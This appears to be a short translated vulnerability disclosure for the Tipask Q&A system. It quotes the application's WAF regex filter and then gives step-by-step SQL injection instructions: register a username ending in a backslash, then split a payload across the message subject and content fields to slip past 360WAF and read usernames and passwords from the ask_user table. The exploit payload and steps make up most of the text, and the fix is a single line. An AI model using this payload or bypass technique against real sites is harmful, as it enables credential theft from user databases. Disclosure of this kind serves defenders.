The tipask q & A system bypasses waf SQL Injection in multiple places
The system allows the registration of usernames containing backslash ("\"), which can cause multiple SQL Injection Vulnerabilities, because the system has 360WAF defense, WAF protection is perfectly bypassed by combining multiple parameters at the same time.
function checkattack($reqarr, $reqtype = 'post') {$filtertable = array('get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)','post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)','cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)');foreach ($reqarr as $reqkey => $reqvalue) {if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {print('Illegal operation!');exit(-1);}}}
1. First register a user name: wooyun \
2. log on to wooyun \ and send a message (test) to another user)
(There are two controllable places for sending messages. Using these two parameters together, we can perfectly bypass WAF of 360)
The complete injection statement is:
Code Region
,fromuid=3,touid=2,subject=user(),content=(select concat(username,password) from ask_user limit 0,1)#
You can use multiple parameters to bypass 360WAF.
Enter the topic, fromuid = 3, touid = 2, subject = user (), content = (select concat (username, password )/*
Enter */from ask_user limit 0, 1 )#,
After submission, log on to another account to view the injection results:
Solution:
Filter special characters of a user name